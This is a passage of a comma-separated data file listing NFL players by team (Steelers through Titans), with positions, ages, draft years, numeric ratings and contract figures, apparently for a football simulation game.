CB,William Gay,31,2007,70,93,93,87,89,69,2.5,3 CB,Ross Cockrell,24,2014,82,62,93,81,93,66,0.6,1 DL,Cameron Heyward,27,2011,84,83,88,90,89,88,9.9,6 DL,Stephon Tuitt,23,2014,87,72,84,91,82,82,1.2,4 DL,Brian Mihalik,23,2015,69,55,87,82,72,73,0.5,1 DL,Ricardo Mathews,28,2010,63,73,88,83,82,72,0.8,1 DL,Clifton Geathers,28,2010,65,71,95,81,82,79,0.8,1 DL,Daniel McCullers,23,2014,72,59,88,88,75,86,0.6,4 LB,Bud Dupree,23,2015,93,64,90,82,85,53,2.3,4 LB,Vince Williams,26,2013,71,72,81,85,77,72,0.6,4 LB,Jarvis Jones,26,2013,91,66,80,74,88,66,2.2,4 LB,Jordan Zumwalt,24,2014,72,50,85,77,72,71,0.6,4 LB,Ryan Shazier,24,2014,92,68,88,85,80,66,2.4,4 LB,Lawrence Timmons,30,2007,85,90,92,93,89,88,9.6,5 LB,Steven Johnson,28,2012,60,70,85,82,64,69,0.8,1 LB,James Harrison,38,2002,51,93,90,82,91,88,1.4,2 LB,Anthony Chickillo,23,2015,73,55,92,79,73,80,0.5,1 LB,Arthur Moats,28,2010,68,78,88,80,89,78,2.5,3 END_PLAYERS Buffalo Bills,BUF QB,Tyrod Taylor,26,2011,70,65,87,90,75,63,1.1,3 QB,EJ Manuel,26,2013,91,65,87,93,75,66,2.2,4 RB,Karlos Williams,23,2015,78,55,80,84,90,64,0.6,4 RB,Mike Gillislee,25,2013,77,52,88,64,86,76,0.6,1 RB,LeSean McCoy,27,2009,82,87,90,59,88,84,8,5 RB,James Wilder Jr,24,2014,64,47,85,87,76,53,0.5,2 RB,Jerome Felton,29,2008,71,82,94,71,78,50,2.3,4 RB,Dan Herron,27,2012,72,75,81,77,85,73,0.5,1 WR,Sammy Watkins,23,2014,102,74,91,89,92,94,5,4 WR,Leonard Hankerson,27,2011,79,73,83,80,90,65,0.8,1 WR,Marquise Goodwin,25,2013,82,67,90,74,95,72,0.7,4 WR,Dezmin Lewis,23,2015,69,45,87,87,90,72,0.5,3 WR,Charles Clay,27,2011,74,80,97,88,80,65,7.6,5 WR,Robert Woods,24,2013,86,75,94,85,90,77,1.2,4 WR,Walter Powell,24,2014,73,50,88,80,90,86,0.6,3 WR,Greg Salas,27,2011,80,68,79,82,85,67,0.8,1 WR,Marcus Easley,28,2010,80,65,73,74,89,58,1.8,4 OL,John Miller,22,2015,83,63,85,86,84,75,0.7,4 OL,Cyril Richardson,25,2014,78,55,92,89,81,69,0.6,2 OL,Eric Wood,30,2009,82,86,80,87,82,80,6.4,4 OL,Cyrus Kouandjio,22,2014,88,49,78,84,83,72,1.2,4 OL,Jordan Mills,25,2013,76,72,93,83,83,69,1.7,1 OL,Cordy Glenn,26,2012,85,81,89,93,84,92,12,5 OL,Seantrel Henderson,24,2014,67,71,82,83,78,82,0.6,4 OL,Richie Incognito,32,2005,75,73,79,93,82,78,5.3,3 OL,Fernando Velasco,31,2008,59,79,88,83,76,79,1,1 OL,Ryan Groy,25,2014,62,58,96,86,74,79,0.6,2 K,Colton Schmidt,25,2013,62,66,92,87,88,64,0.6,1 K,Dan Carpenter,30,2008,56,80,83,96,93,58,2.5,4 K,Jordan Gay,26,2013,62,64,90,95,78,70,0.6,2 S,Jonathan Meeks,26,2013,77,49,93,74,84,72,0.6,2 S,Colt Anderson,30,2009,58,64,85,71,89,68,0.8,1 S,Robert Blanton,26,2012,75,77,96,82,90,74,0.8,1 S,Duke Williams,25,2013,81,61,94,80,89,83,0.7,4 S,Jonathan Dowling,24,2014,68,55,88,76,90,77,0.6,2 S,Aaron Williams,26,2011,84,75,90,80,88,68,6.5,4 CB,Mario Butler,27,2011,63,64,95,74,89,40,0.6,1 CB,Stephon Gilmore,25,2012,90,78,94,99,94,68,3,4 CB,Ronald Darby,22,2015,88,56,87,72,92,39,1.1,4 CB,Nickell Robey,24,2013,61,74,87,78,92,44,2.1,2 CB,Corey White,26,2012,75,69,97,79,88,80,0.8,1 CB,Corey Graham,30,2007,70,83,88,92,89,55,4.1,4 CB,Sterling Moore,26,2011,59,78,92,84,91,62,0.8,1 CB,Sammy Seamster,25,2014,63,42,92,74,90,44,0.5,3 DL,Max Valles,21,2015,74,48,92,65,79,42,0.5,3 DL,Corbin Bryant,28,2011,61,68,88,86,75,66,1.7,1 DL,Jerry Hughes,27,2010,83,80,91,66,71,68,9,5 DL,Lavar Edwards,26,2013,77,65,95,72,79,70,0.6,2 DL,Jerel Worthy,26,2012,87,65,92,82,76,75,0.6,3 DL,Kyle Williams,33,2006,69,95,82,90,92,91,7.4,3 DL,Manny Lawson,31,2006,85,81,93,72,58,75,3,4 DL,Marcell Dareus,26,2011,99,82,94,104,92,94,16.1,6 DL,Shaq Lawson,22,2016,95,65,85,90,88,85,2.6,4 DL,TJ Barnes,26,2013,62,67,86,91,76,79,0.6,2 LB,Preston Brown,23,2014,87,75,97,85,66,77,0.8,4 LB,Kevin Reddick,26,2013,62,60,89,79,60,71,0.6,2 LB,Randell Johnson,25,2014,72,66,85,76,82,55,0.6,4 LB,Lorenzo Alexander,33,2005,55,80,90,79,87,82,0.9,1 LB,Zach Brown,26,2012,85,74,90,85,66,72,1.3,1 LB,Jamari Lattimore,27,2011,60,73,90,81,67,72,0.5,1 END_PLAYERS Miami Dolphins,MIA QB,Zac Dysert,26,2013,69,55,90,85,73,30,0.5,1 QB,Logan Thomas,23,2014,83,52,88,94,72,69,0.6,2 QB,Matt Moore,31,2007,56,76,90,82,73,20,1.8,2 QB,Ryan Tannehill,27,2012,100,78,94,91,87,67,19.3,4 RB,Daniel Thomas,28,2011,85,55,85,60,85,80,0.8,1 RB,Isaiah Pead,26,2012,87,65,84,46,91,75,0.7,1 RB,Damien Williams,24,2014,62,52,89,67,90,83,0.5,3 RB,Jay Ajayi,23,2015,78,52,74,69,87,81,0.6,4 WR,Dion Sims,25,2013,81,62,79,74,79,46,0.7,4 WR,Kenny Stills,24,2013,76,77,92,87,92,85,0.6,4 WR,Jarvis Landry,23,2014,87,76,90,91,86,66,0.9,4 WR,Jordan Cameron,27,2011,79,75,85,87,85,74,7.5,2 WR,Matt Hazel,24,2014,73,55,91,77,88,72,0.5,1 WR,Griff Whalen,26,2012,61,72,93,81,85,73,0.7,1 WR,DeVante Parker,23,2015,93,61,78,87,91,63,2.7,4 OL,Anthony Steen,26,2014,64,50,86,80,74,79,0.5,1 OL,Jermon Bushrod,31,2007,71,85,92,90,72,87,1.5,1 OL,Shelley Smith,29,2010,65,74,88,80,80,73,0.7,1 OL,Jacques McClendon,28,2010,74,71,75,86,81,74,0.8,1 OL,Mike Pouncey,26,2011,89,81,95,88,87,81,9,5 OL,Billy Turner,24,2014,88,64,95,85,78,84,0.8,4 OL,Dallas Thomas,26,2013,81,73,90,83,75,72,0.7,4 OL,Ja'Wuan James,24,2014,92,74,96,83,79,81,2.1,4 OL,Jamil Douglas,24,2015,83,53,93,85,71,81,0.7,4 OL,Vinston Painter,26,2013,78,56,83,85,76,77,0.5,1 OL,Sam Young,28,2010,69,74,93,83,77,76,0.9,1 OL,Branden Albert,31,2008,86,88,89,90,87,94,9.4,5 OL,Kraig Urbik,30,2009,77,85,95,93,70,85,1.3,2 OL,Laremy Tunsil,21,2016,95,71,85,88,90,92,3.1,4 K,Andrew Franks,23,2015,63,65,85,80,80,70,0.5,3 K,Matt Darr,23,2015,63,65,85,80,80,70,0.5,3 S,Reshad Jones,28,2010,73,81,91,82,88,88,7,4 S,Walt Aikens,25,2014,77,48,93,84,89,69,0.7,4 S,Michael Thomas,27,2012,61,54,90,73,89,67,0.7,1 S,Isa Abdul-Quddus,27,2011,60,63,88,76,90,74,4.3,3 S,Louis Delmas,29,2009,65,79,77,85,91,82,2.3,1 CB,Tyler Patmon,25,2014,62,62,94,77,87,47,0.6,1 CB,Byron Maxwell,28,2011,74,79,87,92,88,75,10.5,6 CB,Chimdi Chekwa,27,2011,80,63,94,73,93,50,0.8,1 CB,Bobby McCain,22,2015,78,41,84,84,89,40,0.6,4 CB,Ifo Ekpre-Olomu,22,2015,69,55,67,76,87,49,0.6,4 DL,Earl Mitchell,28,2010,78,81,90,80,84,68,4,4 DL,Andre Branch,26,2012,85,70,89,68,83,67,2.8,1 DL,Dion Jordan,26,2013,102,52,85,66,64,70,5.1,4 DL,Mario Williams,31,2006,94,86,90,99,87,74,8.5,2 DL,Cameron Wake,34,2005,57,87,92,96,96,74,7.5,2 DL,Ndamukong Suh,29,2010,98,84,93,108,97,92,19.1,6 DL,Jordan Phillips,23,2015,88,45,75,88,76,85,1.1,4 DL,Terrence Fede,24,2014,67,57,94,76,68,73,0.6,4 DL,Charles Tuaau,24,2015,64,46,90,84,75,83,0.5,1 DL,Jason Jones,30,2008,81,75,92,85,85,75,0.5,1 DL,DeAndre Coleman,25,2014,63,52,95,88,72,77,0.6,2 LB,James-Michael Johnson,26,2012,80,72,90,83,55,76,0.8,1 LB,Kiko Alonso,25,2013,86,85,85,92,70,94,1.1,4 LB,Jelani Jenkins,24,2013,81,75,85,77,67,77,0.7,4 LB,Spencer Paysinger,27,2011,59,80,90,83,62,78,0.8,1 LB,Zach Vigil,25,2015,63,54,91,76,54,56,0.5,3 LB,Koa Misi,29,2010,83,84,90,90,86,88,4.3,4 LB,Chris McCain,24,2014,62,67,93,66,67,68,0.5,3 END_PLAYERS New England Patriots,NE QB,Jimmy Garoppolo,24,2014,87,57,95,90,80,47,0.9,4 QB,Tom Brady,38,2000,58,99,90,104,107,20,20.5,2 RB,Dion Lewis,25,2011,75,66,76,52,87,83,1.3,2 RB,James Develin,27,2010,61,79,92,78,68,37,0.8,1 RB,LeGarrette Blount,29,2010,58,80,87,96,83,62,1,1 RB,Tyler Gaffney,25,2014,72,60,79,84,89,54,0.5,1 RB,Malcolm Brown,23,2015,64,45,87,83,89,49,1.9,4 RB,Brandon Bolden,26,2012,60,70,86,83,87,55,1.2,2 RB,Joey Iosefa,25,2015,69,40,78,81,79,48,0.5,1 RB,James White,24,2014,77,54,88,64,86,75,0.7,4 WR,Chris Hogan,27,2011,61,66,88,81,84,49,4,3 WR,Rob Gronkowski,27,2010,83,86,73,104,82,50,9,6 WR,Julian Edelman,30,2009,62,90,88,105,84,85,4.3,4 WR,Danny Amendola,30,2008,57,89,78,88,82,87,4.1,2 WR,Matthew Slater,30,2008,71,81,90,74,86,70,2,2 WR,Aaron Dobson,24,2013,86,67,84,79,92,71,0.9,4 WR,Keshawn Martin,26,2012,80,70,88,78,90,87,1.5,2 WR,Nate Washington,32,2005,53,87,94,86,84,80,1.1,1 WR,Martellus Bennett,29,2008,82,81,89,85,78,35,5.1,4 WR,Clay Harbor,28,2010,73,71,89,75,83,71,1.5,2 WR,Chris Harper,22,2015,64,49,95,74,86,67,0.5,2 OL,Sebastian Vollmer,31,2009,82,88,78,92,84,93,4.2,4 OL,Cameron Fleming,23,2014,77,65,93,85,83,73,0.6,1 OL,Jonathan Cooper,26,2013,102,64,79,88,78,81,3.6,4 OL,Nate Solder,28,2011,89,85,87,87,88,81,10,2 OL,Bryan Stork,25,2014,82,78,78,81,86,81,0.7,4 OL,Shaq Mason,22,2015,78,42,91,86,87,66,0.7,4 OL,LaAdrian Waddle,24,2013,61,74,88,87,77,92,1.2,2 OL,Marcus Cannon,28,2011,74,74,87,91,79,82,4.5,2 OL,Josh Kline,26,2013,61,65,90,83,82,75,1.7,2 K,Ryan Allen,26,2013,61,70,95,90,88,70,2,3 K,Stephen Gostkowski,32,2006,74,89,88,104,105,62,4.3,4 S,Nate Ebner,26,2012,70,60,95,63,89,91,1.2,2 S,Brock Vereen,23,2014,78,66,92,78,93,78,0.6,1 S,Devin McCourty,28,2010,83,89,95,96,90,63,9.5,5 S,Duron Harmon,25,2013,81,64,92,77,88,75,0.7,4 S,Jordan Richards,23,2015,88,44,93,66,90,76,0.9,4 S,Patrick Chung,28,2009,82,81,93,85,91,85,2.7,3 S,Cedric Thompson,23,2015,79,39,90,69,90,69,0.5,1 CB,Malcolm Butler,26,2014,62,70,90,94,87,60,0.5,3 CB,Logan Ryan,25,2013,81,74,94,88,90,66,0.7,4 CB,EJ Biggers,29,2009,68,74,90,74,93,36,0.8,1 CB,Darryl Roberts,25,2015,68,42,79,69,95,62,0.6,4 DL,Ishmaa'ily Kitchen,27,2012,65,68,83,91,76,80,0.7,2 DL,Terrance Knighton,29,2009,82,83,94,93,81,93,1.8,1 DL,Markus Kuhn,30,2012,65,71,92,86,73,76,1.2,1 DL,Anthony Johnson,23,2014,63,58,92,78,76,76,0.6,2 DL,Frank Kearse,27,2011,65,68,88,90,65,77,0.8,1 DL,Chris Long,31,2008,97,83,86,89,84,78,2.4,1 DL,Rob Ninkovich,32,2006,69,91,92,76,88,73,3.5,2 DL,Trey Flowers,22,2015,83,55,94,87,83,84,0.7,4 DL,Jabaal Sheard,27,2011,84,76,89,77,68,83,5.5,2 DL,Alan Branch,31,2007,80,80,87,92,77,83,2.2,2 DL,Kelcy Quarles,24,2014,63,53,91,84,78,73,0.5,2 LB,Jonathan Freeny,27,2011,60,71,87,75,81,67,1.8,1 LB,Jamie Collins,26,2013,86,83,96,92,93,84,0.9,4 LB,Rufus Johnson,25,2013,73,58,86,76,83,55,0.5,1 LB,Shea McClellin,26,2012,90,77,91,88,69,75,3,3 LB,Dont'a Hightower,26,2012,85,84,90,95,88,87,1.9,4 LB,Ramon Humber,28,2009,57,71,87,78,52,73,1,1 END_PLAYERS New York Jets,NYJ QB,Geno Smith,25,2013,86,66,95,91,77,72,1.3,4 QB,Bryce Petty,25,2015,83,48,79,91,72,58,0.7,4 RB,Zac Stacy,25,2013,77,75,92,84,86,57,0.6,4 RB,Taiwan Jones,22,2015,65,60,88,54,92,84,0.5,3 RB,Khiry Robinson,26,2013,61,70,88,85,81,62,1.2,1 RB,Taiwan Jones,22,2015,65,60,88,38,15,62,0.5,3 RB,Bilal Powell,27,2011,75,75,88,63,86,73,3.8,3 RB,Matt Forte,30,2008,81,91,93,78,86,85,4,3 RB,Tommy Bohanon,25,2013,72,66,88,76,75,48,0.6,4 WR,Kenbrell Thompkins,27,2013,62,73,94,76,86,73,1.7,1 WR,Titus Davis,23,2015,64,58,84,78,89,64,0.5,2 WR,Jace Amaro,23,2014,88,62,87,83,85,65,1.1,4 WR,Kellen Davis,30,2008,72,73,90,69,81,35,1,1 WR,Jeremy Ross,28,2011,61,74,87,75,88,89,0.8,1 WR,Devin Smith,24,2015,88,59,92,80,92,72,1.5,4 WR,Eric Decker,29,2010,79,89,92,91,84,73,7.3,5 WR,Zach Sudfeld,27,2013,62,64,80,75,78,45,0.6,1 WR,Brandon Marshall,32,2006,75,92,92,100,82,66,8.7,3 WR,Quincy Enunwa,24,2014,74,48,93,76,90,62,0.5,3 OL,Willie Colon,33,2006,65,83,78,86,68,87,1,1 OL,James Carpenter,27,2011,85,79,86,90,79,82,4.8,4 OL,Brian Winters,24,2013,87,72,89,84,76,69,0.7,4 OL,Ryan Clady,29,2008,86,90,83,89,78,88,6,1 OL,Jarvis Harrison,24,2015,80,44,84,88,83,81,0.6,2 OL,Breno Giacomini,30,2008,72,81,93,83,81,78,4.5,4 OL,Nick Mangold,32,2006,79,97,92,91,93,90,7.7,7 OL,Wesley Johnson,25,2014,78,63,94,83,79,73,0.6,2 OL,Dakota Dozier,25,2014,78,55,90,83,82,75,0.6,4 K,Nick Folk,31,2007,66,76,84,88,90,65,3,4 K,Randy Bullock,26,2012,65,72,87,95,88,74,0.7,1 S,Marcus Gilchrist,27,2011,85,75,90,76,89,55,5.5,4 S,Dion Bailey,24,2014,63,62,82,65,86,86,0.5,2 S,Rontez Miles,27,2013,64,59,92,71,89,86,0.5,3 S,Calvin Pryor,23,2014,93,73,93,87,89,95,2.1,4 S,Jaiquawn Jarrett,26,2011,65,66,90,79,90,87,1.5,1 CB,Dee Milliner,24,2013,102,67,87,82,93,77,3.2,4 CB,Darrelle Revis,30,2007,86,98,88,104,92,66,14,5 CB,Darryl Morris,25,2013,61,59,92,80,94,46,0.8,1 CB,Kendall James,24,2014,74,43,90,78,92,39,0.5,2 CB,Buster Skrine,27,2011,75,79,89,85,89,41,6.3,4 CB,Marcus Williams,25,2014,63,66,93,83,89,70,0.5,3 CB,Dexter McDougle,25,2014,82,51,75,75,89,73,0.7,4 DL,Jarvis Jenkins,28,2011,84,74,80,91,75,83,3,2 DL,Steve McLendon,30,2009,58,82,90,87,81,84,3.5,3 DL,Leonard Williams,22,2015,105,56,85,87,85,90,4.7,4 DL,Mike Catapano,25,2013,72,51,93,82,69,73,0.6,2 DL,Shelby Harris,24,2014,69,45,90,84,77,76,0.5,1 DL,Muhammad Wilkerson,26,2011,85,82,94,104,93,97,15.7,1 DL,Sheldon Richardson,25,2013,92,81,89,98,90,88,2.5,4 DL,Deon Simon,25,2015,75,48,73,93,71,85,0.6,2 LB,Darron Lee,21,2016,95,65,85,80,75,89,2.5,4 LB,David Harris,32,2007,81,90,96,85,70,88,7.2,3 LB,Trevor Reilly,28,2014,68,56,85,76,67,70,0.6,4 LB,Bruce Carter,28,2011,84,75,77,83,67,74,0.8,1 LB,Lorenzo Mauldin,23,2015,83,55,82,79,62,67,0.8,4 LB,Josh Martin,24,2013,62,60,90,76,77,61,0.6,2 LB,Julian Stanford,25,2012,62,68,87,81,56,60,0.7,1 LB,Erin Henderson,29,2008,58,81,87,82,60,79,2,2 LB,Calvin Pace,35,2003,65,85,92,81,80,84,2.4,2 END_PLAYERS Houston Texans,HOU QB,Ryan Griffin,26,2013,71,52,90,81,76,35,0.6,4 QB,Brandon Weeden,32,2012,90,70,89,91,69,20,2,2 QB,Tom Savage,26,2014,77,54,90,94,80,45,0.6,4 QB,Brock Osweiler,25,2012,85,60,96,95,77,20,18,4 RB,Alfred Blue,25,2014,72,70,79,84,84,60,0.6,4 RB,Lamar Miller,25,2012,81,77,87,67,92,85,6.5,4 RB,Kenny Hilliard,24,2015,70,46,76,87,82,54,0.5,2 RB,Jonathan Grimes,26,2012,62,62,91,69,86,82,0.7,1 RB,Jay Prosch,23,2014,72,56,95,75,80,47,0.6,4 WR,Cecil Shorts,28,2011,79,78,87,84,86,81,3,2 WR,Will Fuller,22,2016,95,75,85,85,96,97,2.5,4 WR,Keith Mumphery,24,2015,75,49,92,74,88,77,0.6,4 WR,Jaelen Strong,22,2015,88,45,87,86,91,59,0.8,4 WR,DeAndre Hopkins,24,2013,86,83,94,103,85,65,1.9,4 WR,Josh Lenz,25,2013,64,56,87,74,91,77,0.5,2 OL,Chris Clark,30,2008,58,78,88,87,78,89,3,2 OL,Andrew McDonald,27,2012,63,65,96,81,75,79,0.6,2 OL,Jeff Allen,26,2012,85,72,85,83,83,74,7,4 OL,Tony Bergstrom,29,2012,80,71,90,84,78,73,2.9,2 OL,Duane Brown,30,2008,81,91,93,91,87,93,8.9,6 OL,Xavier Su'a-Filo,25,2014,87,57,94,85,78,79,1.4,4 OL,Derek Newton,28,2011,70,77,85,86,96,79,5.3,5 OL,Dalton Freeman,26,2013,63,67,96,89,78,72,0.6,2 OL,Jeff Adams,26,2012,63,69,94,75,72,82,0.5,1 OL,Chad Slade,24,2015,65,57,91,82,78,74,0.5,3 OL,Karim Barton,24,2014,64,47,92,84,82,72,0.5,2 OL,Oday Aboushi,25,2013,77,71,95,78,84,77,0.6,4 OL,David Quessenberry,25,2013,72,63,95,80,84,75,0.6,4 K,Nick Novak,34,2005,57,78,92,86,91,60,1,1 K,Shane Lechler,39,2000,63,92,85,86,87,62,1.8,1 S,Eddie Pleasant,27,2012,61,67,94,74,87,80,1.1,2 S,Kurtis Drummond,24,2015,65,41,92,78,89,60,0.5,3 S,Lonnie Ballentine,23,2014,68,44,89,72,93,90,0.6,4 S,Antonio Allen,27,2012,65,73,83,81,87,71,0.8,1 CB,Robert Nelson,26,2014,63,46,90,74,89,54,0.6,2 CB,Kevin Johnson,23,2015,95,64,89,87,89,64,2.5,4 CB,Terrance Mitchell,24,2014,68,55,94,81,92,46,0.6,3 CB,AJ Bouye,24,2013,61,71,83,76,93,45,1.7,1 CB,Johnathan Joseph,32,2006,84,92,86,87,88,40,6.8,2 CB,Kareem Jackson,28,2010,88,84,90,95,90,55,8.5,4 CB,Andre Hal,24,2014,72,65,94,76,90,45,0.6,4 DL,Gerald Rivers,25,2013,63,52,88,71,65,64,0.6,2 DL,Jeoffrey Pagan,23,2014,72,52,80,87,72,85,0.6,4 DL,Christian Covington,22,2015,75,50,76,77,82,69,0.6,4 DL,JJ Watt,27,2011,89,92,97,107,109,107,16.7,6 DL,Vince Wilfork,34,2004,82,98,89,96,81,91,4.5,2 DL,Devon Still,26,2012,86,64,84,82,82,82,0.7,1 DL,Brandon Dunn,23,2014,64,52,90,78,70,81,0.6,2 LB,Max Bullough,24,2014,64,55,92,76,70,75,0.6,3 LB,Whitney Mercilus,25,2012,85,77,95,87,85,74,6.5,4 LB,Brian Cushing,29,2009,87,88,94,81,82,87,8.8,6 LB,Akeem Dent,28,2011,80,74,86,87,78,74,2.3,2 LB,Jadeveon Clowney,23,2014,102,65,76,87,90,65,5.6,4 LB,Benardrick McKinney,23,2015,90,67,94,89,81,57,1.3,4 LB,John Simon,25,2013,77,59,86,82,85,74,1.7,1 LB,Reshard Cliett,24,2015,75,40,86,78,64,50,0.6,4 END_PLAYERS Indianapolis Colts,IND QB,Scott Tolzien,28,2011,59,62,95,83,76,44,1.8,2 QB,Stephen Morris,23,2014,64,42,85,90,73,70,0.5,3 QB,Andrew Luck,26,2012,100,85,98,105,99,87,5.5,4 RB,Trey Williams,23,2015,63,46,81,37,90,84,0.5,2 RB,Tyler Varga,22,2015,63,55,90,78,83,42,0.5,3 RB,Jordan Todman,26,2011,71,70,85,61,90,81,0.8,1 RB,Frank Gore,33,2005,78,93,86,83,81,69,4,3 RB,Robert Turbin,26,2012,80,72,83,84,90,72,0.8,1 WR,Donte Moncrief,22,2014,82,66,91,83,92,63,0.7,4 WR,Phillip Dorsett,23,2015,88,59,77,82,96,82,2,4 WR,Josh Boyce,25,2013,83,51,90,72,92,65,0.5,1 WR,Brian Tyms,27,2012,61,68,92,79,88,66,0.6,1 WR,TY Hilton,26,2012,80,87,85,103,92,95,13,5 WR,Dwayne Allen,26,2012,85,75,87,82,75,45,7.4,4 OL,Jeremy Vujnovich,25,2014,64,42,88,90,72,78,0.5,1 OL,Lance Louis,31,2009,65,75,90,86,76,70,0.7,2 OL,Jonotthan Harrison,24,2014,62,72,94,87,82,72,0.5,3 OL,Joe Reitz,29,2008,59,77,94,87,79,80,2.7,3 OL,Hugh Thornton,24,2013,81,73,85,91,76,77,0.7,4 OL,Ryan Kelly,23,2016,95,65,85,85,85,81,2.6,4 OL,Anthony Castonzo,27,2011,89,85,87,88,85,96,11,4 OL,Kevin Graf,25,2014,64,52,92,85,80,72,0.6,2 OL,Mitchell Van Dyk,25,2014,69,54,92,75,83,69,0.5,1 OL,Jack Mewhort,24,2014,87,73,93,89,87,78,0.9,4 K,Adam Vinatieri,43,2096,44,93,90,88,91,60,3,2 K,Pat McAfee,29,2009,67,88,95,97,92,68,2.9,5 S,Mike Adams,35,2004,52,83,90,88,85,64,2.4,2 S,Clayton Geathers,24,2015,83,47,91,69,90,87,0.7,4 S,Winston Guy,26,2012,71,65,88,72,88,83,0.7,2 S,Dezmen Southward,24,2014,88,65,92,75,93,79,0.6,2 CB,Tevin Mitchel,23,2015,73,49,77,79,91,35,0.6,4 CB,Vontae Davis,28,2009,82,89,96,104,92,66,9,4 CB,Patrick Robinson,28,2010,83,79,90,77,91,49,4.5,3 CB,Darius Butler,30,2009,82,79,95,77,93,65,2.5,2 CB,D'Joun Smith,23,2015,88,49,90,83,91,42,0.8,4 CB,Jalil Brown,28,2011,79,56,90,75,93,63,0.8,2 DL,David Parry,24,2015,78,55,78,91,71,81,0.6,4 DL,Zach Kerr,25,2014,62,62,82,87,66,75,0.5,3 DL,Arthur Jones,30,2010,73,74,85,91,79,82,6.6,5 DL,Kendall Langford,30,2008,81,87,92,86,75,82,4.3,4 DL,Ricky Lumpkin,27,2011,64,70,84,88,74,78,0.6,2 DL,Joe Vellano,27,2013,61,69,93,85,79,82,0.6,1 DL,Henry Anderson,24,2015,83,64,82,81,79,85,0.7,4 DL,Billy Winn,27,2012,65,72,87,78,56,80,0.5,4 LB,Nate Irving,28,2011,84,75,82,89,78,79,2.4,3 LB,Robert Mathis,35,2003,66,93,89,80,78,93,9,4 LB,D'Qwell Jackson,32,2006,79,92,84,87,77,91,5.5,4 LB,Erik Walden,30,2008,71,76,92,80,88,80,4,4 LB,Amarlo Herrera,24,2015,74,53,92,79,74,72,0.5,2 LB,Sio Moore,26,2013,86,73,89,82,84,75,0.8,4 LB,Trent Cole,33,2005,68,88,89,77,72,89,4.3,1 END_PLAYERS Jacksonville Jaguars,JAX QB,Blake Bortles,24,2014,102,67,96,91,74,65,5.2,4 QB,Chad Henne,30,2008,81,73,90,89,70,20,4,2 RB,Joe Banyard,27,2012,61,53,92,66,88,76,0.6,2 RB,TJ Yeldon,22,2015,88,60,84,79,88,74,1.5,4 RB,Corey Grant,24,2015,63,42,82,38,96,71,0.5,3 RB,Chris Ivory,28,2010,58,78,83,96,86,64,6.4,5 RB,Jonas Gray,25,2012,62,62,91,92,84,55,0.6,2 RB,Denard Robinson,25,2013,76,72,84,52,90,75,0.6,4 WR,Arrelious Benn,27,2010,84,66,70,72,83,63,0.6,2 WR,Bryan Walters,28,2010,60,71,92,79,81,74,0.7,2 WR,Marcedes Lewis,32,2006,80,87,93,74,73,42,4,3 WR,Justin Blackmon,26,2012,103,45,94,86,88,70,4.6,4 WR,Neal Sterling,24,2015,73,44,90,74,85,59,0.6,4 WR,Allen Robinson,22,2014,87,70,89,84,85,66,0.9,4 WR,Julius Thomas,28,2011,74,76,90,88,84,67,9.2,5 WR,Marqise Lee,24,2014,87,64,85,79,88,86,1.3,4 WR,Allen Hurns,24,2014,62,67,92,90,87,70,10.2,4 WR,Rashad Greene,23,2015,78,58,88,79,88,85,0.6,4 OL,Jeff Linkenbach,29,2010,58,76,92,85,73,81,0.5,1 OL,AJ Cann,24,2015,88,63,93,89,85,79,0.8,4 OL,Mackenzy Bernadeau,30,2008,61,78,93,96,84,72,1.5,2 OL,Luke Bowanko,25,2014,72,75,92,86,86,74,0.6,4 OL,Kadeem Edwards,25,2014,77,47,93,86,82,76,0.6,2 OL,Kelvin Beachum,27,2012,65,82,95,84,83,97,9,5 OL,Josh Wells,25,2014,62,61,90,83,86,76,0.5,3 OL,Patrick Omameh,26,2013,62,70,92,82,80,75,0.5,1 OL,Luke Joeckel,24,2013,101,79,87,87,85,78,5.3,4 OL,Tyler Shatley,25,2014,63,54,92,95,77,73,0.5,3 OL,Brandon Linder,24,2014,82,76,93,88,85,93,0.7,4 OL,Jermey Parnell,29,2009,59,75,88,85,89,85,6.4,5 K,Brad Nortman,26,2012,70,77,93,89,93,84,2.2,4 K,Jason Myers,25,2015,63,65,85,80,80,70,0.5,3 S,James Sample,23,2015,83,49,85,71,89,75,0.7,4 S,Josh Evans,25,2013,76,71,89,71,86,87,0.6,4 S,Craig Loston,26,2014,62,57,83,72,93,85,0.5,3 S,Earl Wolff,26,2013,77,67,90,72,93,73,1.3,1 S,Tashaun Gipson,25,2012,60,81,94,94,88,72,7.2,5 CB,Prince Amukamara,27,2011,89,77,90,87,92,65,5.5,1 CB,Davon House,26,2011,74,77,95,82,91,56,6.1,4 CB,Jalen Ramsey,21,2016,105,65,85,83,95,70,5.8,4 CB,Demetrius McCray,25,2013,71,71,94,77,93,59,0.6,4 CB,Aaron Colvin,24,2014,82,64,76,84,87,55,0.7,4 CB,Dwayne Gratz,26,2013,86,69,97,77,93,72,0.8,4 CB,Peyton Thompson,25,2012,63,55,90,70,89,34,0.6,2 DL,Roy Miller,28,2009,77,76,96,87,76,79,4.1,4 DL,Sen'Derrick Marks,29,2009,82,84,86,82,93,75,4.5,4 DL,Malik Jackson,26,2012,75,74,90,77,91,83,14.3,6 DL,Tyson Alualu,29,2010,88,81,95,87,78,77,3,2 DL,Dante Fowler Jr,21,2015,103,52,79,87,72,73,5.9,4 DL,Jared Odrick,28,2010,84,83,77,83,87,77,8.5,5 DL,Ryan Davis,27,2012,61,69,90,74,76,64,2.6,1 DL,Chris Smith,24,2014,77,56,93,85,82,65,0.6,4 DL,Abry Jones,24,2013,61,64,87,86,75,69,2.6,1 LB,Hayes Pullard,24,2015,73,60,94,75,50,72,0.6,4 LB,Telvin Smith,25,2014,77,73,90,86,65,70,0.6,4 LB,Joplo Bartu,25,2013,61,75,90,82,62,74,0.6,2 LB,Paul Posluszny,31,2007,80,92,87,88,65,94,5,3 LB,Jordan Tripp,25,2014,77,45,90,75,72,74,0.6,2 LB,Dan Skuta,30,2009,57,80,92,87,83,82,4.1,5 LB,Bjoern Werner,25,2013,91,73,92,76,82,74,0.5,1 LB,Sean Porter,25,2013,81,60,78,77,66,69,0.6,2 END_PLAYERS Tennessee Titans,TEN QB,Matt Cassel,34,2005,58,80,84,82,73,36,2,1 QB,Alex Tanney,28,2012,63,49,88,86,76,49,0.5,2 QB,Marcus Mariota,22,2015,103,60,93,89,88,79,6.1,4 RB,Antonio Andrews,23,2014,62,49,92,88,78,45,0.6,1 RB,Dexter McCluster,27,2010,83,76,85,39,88,85,3,3 RB,David Cobb,23,2015,78,60,90,86,84,62,0.6,4 RB,Jalston Fowler,25,2015,83,60,75,72,77,39,0.7,4 RB,DeMarco Murray,28,2011,84,89,85,96,89,97,6.3,4 RB,Bishop Sankey,23,2014,87,69,86,56,89,80,1,4 WR,Harry Douglas,30,2008,76,81,88,87,84,88,3.8,3 WR,Delanie 